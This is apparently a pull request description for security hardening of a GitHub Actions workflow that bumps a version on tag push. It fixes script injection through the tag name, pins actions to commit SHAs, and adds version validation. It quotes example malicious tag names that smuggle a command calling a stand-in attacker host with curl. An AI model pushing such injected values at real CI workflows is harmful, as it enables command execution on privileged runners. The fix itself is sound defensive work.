Security hardening for `.github/workflows/update-mongo-version-on-tag.yml`, which runs with `contents: write` and `pull-requests: write`.

1. 1. Semgrep findings and fixes

1. *Script injection via `github.ref_name`.* The tag name was interpolated directly into a `run:` block, so pushing a tag such as `` r$(curl attacker.example) `` would execute arbitrary commands on a runner holding write permissions. The tag name is now passed through `env:` and referenced as a shell variable (`"${REF_NAME#r}"`), so shell metacharacters in a tag name can no longer be executed. The same treatment is applied to `steps.version.outputs.version` in the `sed` step, since that value is derived from the same attacker-controlled tag name.

As part of this fix, the extracted version is validated against a plain version-string pattern before it is used in any later step. This is what makes the value safe to interpolate downstream, and it also stops a non-version `r*` tag from bumping the version file at all.

2. *Unpinned `actions/checkout@v4`* (movable tag) — now pinned to `11bd71901bbe5b1630ceea73d27597364c9af683` (v4.2.2).

3. *Unpinned `peter-evans/create-pull-request@v6`* (movable tag) — now pinned to `c5a7806660adbe173f04e3e038b0ccdcd758773c` (v6.1.0).

Both SHAs were verified against the upstream tags via the GitHub API.

1. 1. Behaviour is unchanged for real release tags

The tag-format check deliberately accepts pre-release suffixes, because tags like `r9.0.0-rc0` and `r8.0.4-alpha0` legitimately bump `MONGO_VERSION` today and that must keep working:

```
BUMP: r9.0.0 -> 9.0.0
BUMP: r9.0.0-rc0 -> 9.0.0-rc0
BUMP: r8.0.4-alpha0 -> 8.0.4-alpha0
SKIP: r$(curl x)
SKIP: rtest
SKIP: r9.0
```

1. 1. Related

The same change is being applied in parallel to the v8.3, v8.0, v7.0, v6.0, v5.0 and v4.4 copies of this workflow.

Prettier (3.4.2, repo `.prettierrc`) reports the file as already conforming; no reformatting was needed.